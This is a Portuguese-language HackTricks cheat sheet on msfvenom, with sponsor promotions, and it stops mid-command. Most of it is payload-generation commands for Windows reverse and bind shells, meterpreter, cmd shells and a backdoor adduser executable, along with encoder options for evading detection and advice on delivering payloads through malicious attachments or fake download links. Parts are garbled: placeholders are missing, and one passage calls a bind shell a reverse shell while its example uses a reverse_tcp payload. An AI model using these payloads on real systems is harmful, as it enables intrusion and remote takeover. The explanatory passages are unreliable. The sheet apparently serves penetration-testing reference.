# MSFVenom - CheatSheet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
---
`msfvenom -p -e -f -i LHOST=`
Também é possível usar o `-a` para especificar a arquitetura ou a `--platform`
## Listagem
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
## Parâmetros comuns ao criar um shellcode
Ao criar um shellcode, existem alguns parâmetros comuns que podem ser utilizados para personalizar o código gerado. Esses parâmetros permitem que você defina o tipo de payload, a arquitetura do sistema alvo, o formato de saída e outras opções relevantes. Abaixo estão alguns dos parâmetros mais comuns:
- **Payload**: Especifica o tipo de payload que será usado no shellcode, como um shell reverso ou um payload de execução de comandos.
- **Arquitetura**: Define a arquitetura do sistema alvo, como x86, x64 ou ARM.
- **Formato de saída**: Determina o formato de saída do shellcode, como raw, exe, elf ou macho.
- **Bad characters**: Permite especificar caracteres que devem ser evitados no shellcode, como caracteres nulos ou caracteres que podem causar problemas de codificação.
- **Encoder**: Define o encoder a ser usado para ofuscar o shellcode e evitar detecção, como o encoder XOR ou o encoder Shikata Ga Nai.
- **Tamanho**: Especifica o tamanho máximo do shellcode gerado.
- **Endereço de retorno**: Define o endereço de retorno para o shellcode, geralmente usado em ataques de estouro de buffer.
Esses parâmetros podem ser ajustados de acordo com as necessidades específicas do seu teste de penetração, permitindo que você crie um shellcode personalizado e eficaz para explorar vulnerabilidades em sistemas alvo.
```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
A técnica de Reverse Shell é usada para estabelecer uma conexão de rede reversa entre o alvo e o atacante. Isso permite que o atacante assuma o controle do sistema alvo remotamente. O Metasploit Framework fornece uma ferramenta chamada `msfvenom` que pode ser usada para gerar payloads de Reverse Shell para sistemas Windows.
#### **Gerando um Payload de Reverse Shell**
Para gerar um payload de Reverse Shell usando o `msfvenom`, você precisa especificar o tipo de payload, o endereço IP do atacante e a porta que será usada para a conexão reversa. Aqui está o comando básico para gerar um payload de Reverse Shell para o Windows:
```
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell.exe
```
Substitua `` pelo endereço IP do atacante e `` pela porta que você deseja usar para a conexão reversa.
Depois de executar o comando, o `msfvenom` gerará um arquivo executável chamado `shell.exe`, que será o payload de Reverse Shell.
#### **Executando o Payload de Reverse Shell**
Depois de gerar o payload de Reverse Shell, você precisa executá-lo no sistema alvo. Existem várias maneiras de fazer isso, dependendo do contexto e do acesso ao sistema alvo.
Uma maneira comum de executar o payload de Reverse Shell é enviá-lo para o sistema alvo por meio de um vetor de ataque, como um arquivo malicioso anexado a um e-mail ou um link de download falso. Quando o usuário alvo abrir o arquivo ou clicar no link, o payload será executado e estabelecerá uma conexão reversa com o atacante.
Outra opção é usar uma técnica de exploração para injetar o payload de Reverse Shell em um processo em execução no sistema alvo. Isso pode ser feito aproveitando uma vulnerabilidade conhecida no sistema ou em um aplicativo em execução.
Independentemente do método escolhido, uma vez que o payload de Reverse Shell seja executado no sistema alvo, ele tentará estabelecer uma conexão reversa com o endereço IP e a porta especificados durante a geração do payload. O atacante pode então usar uma ferramenta como o Metasploit Framework para interagir com o sistema alvo e executar comandos remotamente.
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
### Bind Shell
Uma bind shell é um tipo de shell reversa que permite que um invasor se conecte a um sistema comprometido e obtenha acesso ao shell do sistema. Ao contrário de uma shell reversa, onde o invasor inicia a conexão, em uma bind shell o sistema comprometido aguarda por uma conexão do invasor.
O `msfvenom` é uma ferramenta poderosa do Metasploit Framework que permite gerar payloads personalizados para exploração de vulnerabilidades. Com o `msfvenom`, é possível criar um payload para uma bind shell e injetá-lo em um sistema alvo.
A sintaxe básica para gerar um payload de bind shell usando o `msfvenom` é a seguinte:
```
msfvenom -p LHOST= LPORT= -f -o
```
- ``: o payload específico que você deseja usar, como `windows/meterpreter/reverse_tcp` ou `linux/x86/meterpreter/reverse_tcp`.
- ``: o endereço IP do seu sistema.
- ``: a porta que será usada para a conexão.
- ``: o formato de saída desejado, como `exe`, `elf` ou `raw`.
- ``: o nome do arquivo de saída onde o payload será salvo.
Por exemplo, para gerar um payload de bind shell para um sistema Windows, usando o payload `windows/meterpreter/reverse_tcp`, com seu endereço IP sendo `192.168.0.100` e a porta `4444`, no formato `exe` e salvando-o como `payload.exe`, você pode usar o seguinte comando:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o payload.exe
```
Depois de gerar o payload, você pode implantá-lo no sistema alvo e iniciar uma conexão reversa usando uma ferramenta como o Metasploit Framework. Isso permitirá que você obtenha acesso ao shell do sistema comprometido e execute comandos nele.
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
To create a user, you can use the `msfvenom` tool in Metasploit. The `msfvenom` tool allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system.
Here is an example command to create a user using `msfvenom`:
```plaintext
msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe
```
This command will generate an executable file called `adduser.exe` that, when executed on a Windows system, will create a new user with the specified username and password.
You can customize the payload by changing the `USER` and `PASS` parameters to the desired username and password, respectively. Additionally, you can modify the output format (`-f`) to suit your needs.
Remember to use this technique responsibly and only on systems that you have proper authorization to access.
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
### Shell CMD
O shell CMD é um shell de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos de texto. É uma ferramenta poderosa para executar tarefas administrativas e automatizar processos no Windows.
O shell CMD pode ser usado para executar comandos, scripts e programas no Windows. Ele fornece uma interface de linha de comando para executar várias operações, como criar, copiar, excluir e renomear arquivos, gerenciar serviços, configurar redes e muito mais.
O shell CMD também suporta variáveis de ambiente, que podem ser usadas para armazenar valores e passá-los para comandos e scripts. Isso permite a criação de scripts mais avançados e automatizados.
Para abrir o shell CMD, você pode pressionar a tecla Windows + R e digitar "cmd" ou pesquisar por "Prompt de Comando" no menu Iniciar. Isso abrirá uma janela de comando onde você pode digitar os comandos desejados.
O shell CMD é uma ferramenta essencial para administradores de sistemas e usuários avançados do Windows, pois oferece uma maneira eficiente de interagir com o sistema operacional e executar tarefas de forma rápida e eficaz.
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
### **Executar Comando**
The `msfvenom` tool can be used to generate payloads that allow for command execution on a target system. This can be useful during a penetration test to gain remote access and control over the target.
To generate a payload that executes a command, you can use the following command:
```
msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT= -f